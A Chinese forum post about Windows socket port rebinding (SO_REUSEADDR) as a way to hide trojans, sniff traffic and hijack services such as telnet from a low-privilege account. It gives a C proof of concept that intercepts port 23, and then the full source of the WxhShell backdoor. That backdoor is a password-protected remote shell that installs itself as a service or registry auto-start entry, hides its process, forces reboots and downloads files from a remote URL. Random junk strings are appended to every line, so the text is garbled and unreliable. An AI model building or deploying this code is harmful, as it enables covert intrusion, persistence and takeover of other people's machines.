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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: JK md'ZGw  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =uwG.,lC  
BvlY\^  
  saddr.sin_family = AF_INET; 6:r1^q6A9L  
/x-tl)(s=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ICoZ<;p  
FlS)m`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?Wt_Obl  
gKU*@`6G  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 jbOzbxR?  
EI9Yv>7d{  
  这意味着什么?意味着可以进行如下的攻击: + $~HRbo  
AO$aWyI  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ^1}ffE(3>  
+&AU&2As  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) n=fR%<v  
Vfw +m1sS  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 I |D]NY^  
RkdAzv!Y7  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  # 9f 4{=\  
n O}x,sG2'  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 jM@@N.  
AM gvk`<f  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;c~DBJg'|  
F7x< V=4{  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @7PE&3  
`0ju=FP'u5  
  #include BJ/#V)  
  #include 9.goO|~B~  
  #include OQX ek@~2  
  #include    ;+qPV7Z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   N~arxe (K  
  int main() ,KibP_<%&P  
  { \b88=^  
  WORD wVersionRequested; 8&f"")m  
  DWORD ret; $0iN43WSQ  
  WSADATA wsaData; Y@%6*uTLa  
  BOOL val; ZoC?9=k  
  SOCKADDR_IN saddr; ;Wr,VU]  
  SOCKADDR_IN scaddr; Vo2frWF$  
  int err; J2#=`|t"  
  SOCKET s; 13{"sY:PT#  
  SOCKET sc; {&(bKQ  
  int caddsize; Ll&5#q  
  HANDLE mt; +ACV,GG  
  DWORD tid;   -ap;Ul?  
  wVersionRequested = MAKEWORD( 2, 2 ); e;}5~dSi  
  err = WSAStartup( wVersionRequested, &wsaData ); >Q\H1|?  
  if ( err != 0 ) { ?Ve5}N  
  printf("error!WSAStartup failed!\n"); J=]w$e ?.P  
  return -1; ")M.p_b[Z=  
  } u= +  
  saddr.sin_family = AF_INET; !c`Q?aGV)  
   TAJ9Y<  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Y=rW.yK8  
Js#c9l{{  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); zZh`go02E  
  saddr.sin_port = htons(23); M!6bf  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z8"=W,2  
  { |V~P6o(/  
  printf("error!socket failed!\n"); *&2#;mf3  
  return -1; GrQAho  
  } <db/. A3  
  val = TRUE; t_VHw'~"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 E[Io8|QA  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %J%gXk}]  
  { v <Ze$^ e&  
  printf("error!setsockopt failed!\n"); )J88gMk+  
  return -1; f,a4LF  
  } o_*|`E  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; qP<,"9!I  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 \M532_w  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 UZX)1?U  
>qUO_>  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Tx_(^K  
  { Iq}h}Wd  
  ret=GetLastError(); b~1p.J4  
  printf("error!bind failed!\n"); YL=k&Q G  
  return -1; !<6wrOMaO  
  } ".i{WyTt  
  listen(s,2); $xZk{ rK  
  while(1) Oc'z?6axWv  
  { SCH![Amq  
  caddsize = sizeof(scaddr); D\l.?<C  
  //接受连接请求 _0j}(Q>|H#  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); S+>]8ZY  
  if(sc!=INVALID_SOCKET) 2nie I*[  
  { fY"28#   
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); O}D8  
  if(mt==NULL) CijS=-  
  { \+~4t  
  printf("Thread Creat Failed!\n"); 7Y*m_AhxJ  
  break; -5 W0K}  
  } kL|Y-(FPo%  
  } I !<v$  
  CloseHandle(mt); Qy/bzO  
  } #f~a\}$I  
  closesocket(s); 9G8QzIac  
  WSACleanup(); EH "g`r  
  return 0; i }g xq  
  }   jRkq^}  
  DWORD WINAPI ClientThread(LPVOID lpParam) K]Cvk%  
  { ;Gs**BB&  
  SOCKET ss = (SOCKET)lpParam; C;) xjZiR  
  SOCKET sc; 9iy|=  
  unsigned char buf[4096]; E\*",MGL  
  SOCKADDR_IN saddr; 9cmJD5OO  
  long num; jgo@~,5R  
  DWORD val; -9*WQU9R  
  DWORD ret; l9ihW^  
  //如果是隐藏端口应用的话,可以在此处加一些判断 B;~agr  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !Cy2>6v7  
  saddr.sin_family = AF_INET; *pD;AU  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); VfcQibm  
  saddr.sin_port = htons(23); lmcDA,7  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) g&vEc1LNo  
  { bX(*f>G'  
  printf("error!socket failed!\n"); wqOhJYc  
  return -1; ,;-*q}U  
  } wf@2&vJ  
  val = 100; Qd4T?5 vG  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &P3vcB  
  { LI<5;oE;  
  ret = GetLastError(); ;MJ1Q  
  return -1; V$%K=[  
  } ZO 1J";>u  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5l}h8So4  
  { *n'x S L  
  ret = GetLastError(); g\)z!DQ]  
  return -1; r*wKYb  
  } F]*-i 55S  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7&)F;;H  
  { R*0F)M  
  printf("error!socket connect failed!\n"); 6v#G'M#r  
  closesocket(sc); *]6dV '  
  closesocket(ss); W 8NA.  
  return -1; ^e,RM_.  
  } i?/?{p$#a-  
  while(1) `7_LJ \>I  
  { ~&:R\  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 eFI4(Y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 \(FDR  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 _64@zdL+  
  num = recv(ss,buf,4096,0); OJ 5 !+#>  
  if(num>0) mD)O\.uA  
  send(sc,buf,num,0); 2AW{qwk7  
  else if(num==0) Sh6Cw4 R  
  break; Vgn1I(Gj4  
  num = recv(sc,buf,4096,0); ;alFK*K6  
  if(num>0) bVHi3=0{  
  send(ss,buf,num,0); m_ m@>}ud  
  else if(num==0) OP}p;(  
  break; ,-Nk-g  
  } <R>ZG"m{  
  closesocket(ss); 6w;|-/:`  
  closesocket(sc); )x&@j4,  
  return 0 ; hFfaaB  
  } ! VZj!\I  
p ri{vveN@  
=3C)sz}  
========================================================== V^+:U>$w  
'e64%t  
下边附上一个代码,,WXhSHELL oLMi vy4  
& }}WP:U  
========================================================== lh_zZ!)g  
30E v"  
#include "stdafx.h" 34Khg  
8k^y.B  
#include <stdio.h> F5MPy[  
#include <string.h> 9nS!  
#include <windows.h> %:?QE ;  
#include <winsock2.h> Jk`)`94 I  
#include <winsvc.h> ok2~B._+;  
#include <urlmon.h> 2] G$6H  
!F#aodM1N  
#pragma comment (lib, "Ws2_32.lib") f94jMzH9z  
#pragma comment (lib, "urlmon.lib") H<}eoU.  
:&)/vq  
#define MAX_USER   100 // 最大客户端连接数 O f@#VZ  
#define BUF_SOCK   200 // sock buffer >wO$Vu `t  
#define KEY_BUFF   255 // 输入 buffer ]G PJ(+5  
_i@eOqoC  
#define REBOOT     0   // 重启 B~z g"  
#define SHUTDOWN   1   // 关机 .<^Y E%  
/'fDXSdP  
#define DEF_PORT   5000 // 监听端口 f\U&M,L\ '  
@[lc0_ b  
#define REG_LEN     16   // 注册表键长度 oImgj4C2L  
#define SVC_LEN     80   // NT服务名长度 AWXpA1(  
?lN8~Ze  
// 从dll定义API xcvr D  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); '#PqI)P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "IS^a jaq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jZT :-w  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u7P+^A97L_  
cN lY=L  
// wxhshell配置信息 uo'31V0  
struct WSCFG { S5u#g`I]  
  int ws_port;         // 监听端口 poYAiq_3T  
  char ws_passstr[REG_LEN]; // 口令 `{lAhZ5  
  int ws_autoins;       // 安装标记, 1=yes 0=no Guw|00w,Q$  
  char ws_regname[REG_LEN]; // 注册表键名 OrEuQ-,i@  
  char ws_svcname[REG_LEN]; // 服务名 k5;Vl0Ho  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 q,+kPhHEgy  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 t`YZ)>Ws  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 TTZxkK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no F*JvpI[7n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (2bZ]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x>,F*3d3  
]'!xc9KGR  
}; 83ic@[  
S50x0$%<W  
// default Wxhshell configuration 6eYf2sZ;J  
struct WSCFG wscfg={DEF_PORT, =l2Dm  
    "xuhuanlingzhe", uV}WSoq[  
    1, 66@3$P%1p  
    "Wxhshell", s7nX\:Bw:  
    "Wxhshell", h<' 5q&y  
            "WxhShell Service", Oqpl2Y"/  
    "Wrsky Windows CmdShell Service", -jtC>_/  
    "Please Input Your Password: ", u@_!mjXQ  
  1, t_>bTcsU  
  "http://www.wrsky.com/wxhshell.exe", dEd]U49u  
  "Wxhshell.exe" B5,QJ W*  
    }; TF0-?vBWh  
hdr}!w V  
// 消息定义模块 ,mjfZ*N  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; gr`Ar;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [}ZPg3Y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; G</I%qM  
char *msg_ws_ext="\n\rExit."; jXY;V3l  
char *msg_ws_end="\n\rQuit."; SAG` ^t  
char *msg_ws_boot="\n\rReboot..."; K+@eH#Cv,(  
char *msg_ws_poff="\n\rShutdown..."; PL9eUy  
char *msg_ws_down="\n\rSave to "; >[H&k8\7n  
s |gD  
char *msg_ws_err="\n\rErr!"; u2-@?yt  
char *msg_ws_ok="\n\rOK!"; nz(q)"A  
leES YSY:  
char ExeFile[MAX_PATH]; ke9QT#~p!-  
int nUser = 0; ;j>Vt?:Pw  
HANDLE handles[MAX_USER]; v=.z|QD^1  
int OsIsNt; grCO-S|j^  
(!VMnLlXRK  
SERVICE_STATUS       serviceStatus; OVUs]uK  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Xm8Z+}i  
I51oG:6fR?  
// 函数声明 @bW[J  
int Install(void); v-;XyVx  
int Uninstall(void); S@}B:}2  
int DownloadFile(char *sURL, SOCKET wsh); rI<nUy P?  
int Boot(int flag); `o_fUOe8a  
void HideProc(void); c/=y*2,zo  
int GetOsVer(void); XnE %$NJ  
int Wxhshell(SOCKET wsl); 9jMC |oE  
void TalkWithClient(void *cs); C](z#c~c  
int CmdShell(SOCKET sock); i'Y'HI  
int StartFromService(void); g>!:U6K  
int StartWxhshell(LPSTR lpCmdLine); P('t6MVl T  
"s>fV9YyZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L`jB)wF /J  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); aI={,\  
5"kx}f2$  
// 数据结构和表定义 S~k 0@  
SERVICE_TABLE_ENTRY DispatchTable[] = nrTv=*tDj  
{ 9P7xoXJ@y  
{wscfg.ws_svcname, NTServiceMain}, WjY{rM,K  
{NULL, NULL} vr{'FMc  
}; 5>ADw3z'  
1C0Y0{6,  
// 自我安装 3'[Rvy{  
int Install(void) [arTx ^  
{ <o&o=Y8  
  char svExeFile[MAX_PATH]; DIG0:)4R.  
  HKEY key; a1g6}ym\  
  strcpy(svExeFile,ExeFile); VelB-vy&  
vXy uEEe  
// 如果是win9x系统,修改注册表设为自启动 &\1'1`N1  
if(!OsIsNt) { E[jXUOu-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q(IJD4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )@Zc?Da  
  RegCloseKey(key); (!ZQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I(OAEIz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @PPR$4  
  RegCloseKey(key); a{]g+tGH  
  return 0; l_c^ .D  
    } *?_qE  
  } `E} p77  
} *.m{jgi1X  
else { r"{Is?yKe  
6kt]`H`cfJ  
// 如果是NT以上系统,安装为系统服务 ,4H;P/xsb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i1qS ns  
if (schSCManager!=0) xdd:yrC   
{ ~~C6)N~1  
  SC_HANDLE schService = CreateService ~@T+mHny  
  ( X0y?<G1( a  
  schSCManager, JsmbW|t^  
  wscfg.ws_svcname, ^uyNv-'F  
  wscfg.ws_svcdisp, E tJ~dL)  
  SERVICE_ALL_ACCESS, [1z{T(dh  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , brg":V1a  
  SERVICE_AUTO_START, ;".z[l*  
  SERVICE_ERROR_NORMAL, klgv{_b  
  svExeFile, 8yE!7$Mj  
  NULL, l60ikc4$I  
  NULL, g!1I21M1~  
  NULL, Mn]}s:v  
  NULL, G*i.a*9<)  
  NULL H<`^w)?  
  ); 2X|CuL{]  
  if (schService!=0) O.*jR`l  
  { XnBm`vk?V!  
  CloseServiceHandle(schService); O6y @G .+  
  CloseServiceHandle(schSCManager); sS, zzx<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); o"|O ]  
  strcat(svExeFile,wscfg.ws_svcname); .aNO( /kO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j#N(1}r=1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }*iAE>;  
  RegCloseKey(key); 89zuL18V  
  return 0; luW <V>  
    } h ZoC _\  
  } (E!%v`_0  
  CloseServiceHandle(schSCManager); |/@0~O(6  
} xME(B@j  
} mR"uhm}q  
It%T7 X#  
return 1; o;3j:# 3 |  
} fO*)LPen.z  
" Wp   
// 自我卸载 hIR@^\?  
int Uninstall(void) c  Qld$  
{ u\`/Nhn  
  HKEY key; ~6p5H}'H1  
\WWG>OUh.U  
if(!OsIsNt) { j7f5|^/x3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BSN6|W  
  RegDeleteValue(key,wscfg.ws_regname); aT&t_^[]   
  RegCloseKey(key); );=Q] >  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q}=fVY  
  RegDeleteValue(key,wscfg.ws_regname); s4 (Wp3>3i  
  RegCloseKey(key); ,1,&b_  
  return 0; <z,+Eg  
  } J;S-+  
} (FuEd11R  
} W+KF2(lB  
else { +|6`E3j%  
8pqs?L@W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wY/bA}%  
if (schSCManager!=0) JlUb0{8PE  
{ Q*gnAi&.#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); oWI!u 5  
  if (schService!=0) }@wVW))6$  
  { Ddb-@YD&+0  
  if(DeleteService(schService)!=0) { /w0sj`;"  
  CloseServiceHandle(schService); 47KNT7C  
  CloseServiceHandle(schSCManager); 8+ov(B;(  
  return 0; GSP?X$E  
  } CA/ -Gb  
  CloseServiceHandle(schService); SgiDh dE  
  } C#0brCQq3  
  CloseServiceHandle(schSCManager); EOhC6>ATh  
} [O\9 9>  
} xWDR72 6  
fTcY"A,2  
return 1; -OWZ6#v(  
} ~Po<(A}`f  
4h;4!I|  
// 从指定url下载文件 n,CD  
int DownloadFile(char *sURL, SOCKET wsh) !:3^ hb  
{ Yr=8!iR$  
  HRESULT hr; sds}bo  
char seps[]= "/";  s'TY[  
char *token; 7#ofNH J  
char *file; "mR*7o$|  
char myURL[MAX_PATH]; +>!V ]S  
char myFILE[MAX_PATH]; S nW7x  
:<H8'4>  
strcpy(myURL,sURL); Hte[TRbM  
  token=strtok(myURL,seps); Pubv$u2  
  while(token!=NULL) q(gjT^aN  
  { FNC[59   
    file=token; aZ6'|S;  
  token=strtok(NULL,seps); cAb>2]M5V  
  } K3L"^a  
.%IslLZ  
GetCurrentDirectory(MAX_PATH,myFILE); $Zxt&a  
strcat(myFILE, "\\");  t!jYu<P  
strcat(myFILE, file); "TNVD"RLY  
  send(wsh,myFILE,strlen(myFILE),0); QXs8:;T  
send(wsh,"...",3,0); q6R Eh;$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Cc Y7$D  
  if(hr==S_OK) 0\Y1}C  
return 0; DHv2&zH  
else ^^U%cuKg  
return 1; pM9yOY  
2e59Ez%k6  
} ^&Q< tN 7  
E=]]b;u-n  
// 系统电源模块 et` 0Je  
int Boot(int flag) QD$Gw-U-l=  
{ FAw1o  
  HANDLE hToken; hO \/  
  TOKEN_PRIVILEGES tkp; s1 bU  
+P)ys#=  
  if(OsIsNt) { {~'H  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &iBNO,v  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !zR)D|w&  
    tkp.PrivilegeCount = 1; w#9_eq|3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n'M>xq_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w"~<h;  
if(flag==REBOOT) { \J3/keL  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )c+k_;t'+  
  return 0; DW>ES/B8$(  
} [EOVw%R  
else { @PX\{6&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2"X~ju  
  return 0; id?E)Jy  
} OhFW*v  
  } "(f`U.  
  else { oL-2qtv  
if(flag==REBOOT) { RgZOt[!.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) uokc :D  
  return 0; 4x=(Zw_X  
} ~KPv7WfG  
else { 4-^[%&>}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0[Eb .2I  
  return 0; ykmv'a$-4  
} v@n_F  
} E oe}l   
u R:rO^  
return 1; ]C!?HQ{bsf  
} z:}nBCmLV  
Ur3m[07H  
// win9x进程隐藏模块 Ilq=wPD}j  
void HideProc(void) j_GBH8 `  
{ >;9NtoE  
IZrk1fh  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t,<UohL|z  
  if ( hKernel != NULL ) 7u|B ](FS  
  { >bIF>9T  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [_.n$p-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 24B<[lSK  
    FreeLibrary(hKernel); iKAusWj  
  } 3i=Iu0  
|8U;m:AS  
return; B<,YPS8w  
} Z h'&-c_J  
bK*~ol  
// 获取操作系统版本 ^RNOcM|  
int GetOsVer(void) S|AjL Ng#  
{ O|'1B>X  
  OSVERSIONINFO winfo; }r3~rG<D71  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); U>Gg0`>  
  GetVersionEx(&winfo); b1-&v|L  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v&;:^jJ8  
  return 1; D*2\{W/  
  else Gu;OV LR|  
  return 0; ;;#`#v  
} _A'{la~k  
sn{tra  
// 客户端句柄模块 Mu&x_&|  
int Wxhshell(SOCKET wsl) 3WUH~l{UJ  
{ QJBr6   
  SOCKET wsh; LW:1/w&pv  
  struct sockaddr_in client; #/70!+J_UF  
  DWORD myID; (kw5>c7  
93o;n1rS  
  while(nUser<MAX_USER) OH'ea5x q  
{ @~:8ye  
  int nSize=sizeof(client); Mvcfk$pA  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ar ^i|`D  
  if(wsh==INVALID_SOCKET) return 1; Or+p%K}-7  
s\3q!A?S3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &JhX +'U  
if(handles[nUser]==0) -t-tn22  
  closesocket(wsh); [*4fwk^  
else =.Tv)/ea  
  nUser++; lFq{O;q7}  
  } +!yX T C  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bw S*]!*  
z&}-8JykH  
  return 0; go'j/4Tp  
} /'wF2UR  
:dnJY%/q  
// 关闭 socket bF-"tm  
void CloseIt(SOCKET wsh) VaLs`q&3>  
{ E6A /SVp  
closesocket(wsh); Q8nId<\(  
nUser--; j6YiE~  
ExitThread(0); ]?LB?:6  
} zP)~a  
~ 'Vxg}  
// 客户端请求句柄 C9~~O~7x  
void TalkWithClient(void *cs) #Dy?GB08  
{ X#p Wyo~  
TqAPAHg  
  SOCKET wsh=(SOCKET)cs; BmBz}:xMez  
  char pwd[SVC_LEN]; %X1x4t]  
  char cmd[KEY_BUFF]; CIC[1,  
char chr[1]; Lx[ ,Z,kD  
int i,j; Wf26  
|ys0`Vb=$  
  while (nUser < MAX_USER) { NXk!qGV2  
p,W_'?,9  
if(wscfg.ws_passstr) { <48<86TP  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0L-!! c3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5iX! lAFJ  
  //ZeroMemory(pwd,KEY_BUFF); ~)]} 91p  
      i=0; 1vevEa$  
  while(i<SVC_LEN) { 04@cLDX8uB  
RHY4P4B<v>  
  // 设置超时 9 c3E+  
  fd_set FdRead; AMCyj`Ur  
  struct timeval TimeOut; L>9R4:g  
  FD_ZERO(&FdRead); ip:LcGt  
  FD_SET(wsh,&FdRead); ;;U :Jtn2  
  TimeOut.tv_sec=8; 9Kv|>#zff  
  TimeOut.tv_usec=0; b[ w;i]2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !CY&{LEYn0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [iS$JG-  
5Fw - d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 19U]2D/z  
  pwd=chr[0]; CI7A# 6-  
  if(chr[0]==0xd || chr[0]==0xa) { R9o-`Wz  
  pwd=0; ,!QV>=  
  break; t ?eH'*>  
  } @%ECj)u`O  
  i++; f'Mop= .  
    } ,_ 2x{0w:>  
N_gD>6I  
  // 如果是非法用户,关闭 socket Bi%x`4Lf  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1NLg _UBOK  
} `ldz`yu6++  
Me3dpF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2DDsWJ;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \?fIt?  
} p:%[  
while(1) { %&<LNEiUN  
B4H!5b  
  ZeroMemory(cmd,KEY_BUFF); g_.^O$}  
m_NCx]#e   
      // 自动支持客户端 telnet标准   EG<s_d?  
  j=0; 8At<Wic  
  while(j<KEY_BUFF) { ['qnn|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  :$r ^_  
  cmd[j]=chr[0]; YA]5~ ZE\  
  if(chr[0]==0xa || chr[0]==0xd) { KLWDo%%u  
  cmd[j]=0; 0Q9T3X  
  break; )xU-;z0"~  
  } 6;b9swmh  
  j++; XP?rOOn  
    } ssQ BSbx  
3R$Z[D-  
  // 下载文件 'Prxocxq  
  if(strstr(cmd,"http://")) { Ri*3ySyb  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2[yBD-":  
  if(DownloadFile(cmd,wsh)) N:5[,O<m_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |UUdz_i!:  
  else P5 <vf  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fz_nsVD  
  }  ZI>km?w  
  else { Q;/a F`  
LV{Q,DrP  
    switch(cmd[0]) {  >]D4Q<TY  
  @* ust>7  
  // 帮助 e /K#>,  
  case '?': { 1 jb/o5n;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F\JUx L@8  
    break; K95;rd  
  } %3Z/+uT@v]  
  // 安装 kSncZ0K{  
  case 'i': { j Ch=@<9  
    if(Install()) Q4]4@96Aj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kLSrj\6I[  
    else ?)4?V\$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y(jg#7)  
    break; ^ZRYRA  
    } W6c]-pc  
  // 卸载 +K",^6%1  
  case 'r': { / +K?  
    if(Uninstall()) WN]<q`.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 32)tJ|m  
    else QCOo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^rNUAj9Z  
    break; p*QKK@C  
    } <[ Xw)/#  
  // 显示 wxhshell 所在路径 A#wEuX=[  
  case 'p': { I3b"|%  
    char svExeFile[MAX_PATH]; [I*! lbt  
    strcpy(svExeFile,"\n\r"); mB'3N;~  
      strcat(svExeFile,ExeFile); jdA ]2]  
        send(wsh,svExeFile,strlen(svExeFile),0); v-j3bB  
    break; OW;tT=ql  
    } $^/0<i$   
  // 重启 <i\A_qqc/  
  case 'b': { C@\{ehG  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); knp>m,w  
    if(Boot(REBOOT)) cR7wx 0Aj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6=_~ 0PcY  
    else { PyC0Q\$%  
    closesocket(wsh); (?)7)5H  
    ExitThread(0); \;5\9B"i  
    } }ET,ysa  
    break; ,~PYt*X4  
    } 4<,|*hAT  
  // 关机 ;F:fM!l=  
  case 'd': { zt24qTKL  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); XKOUQc4!R  
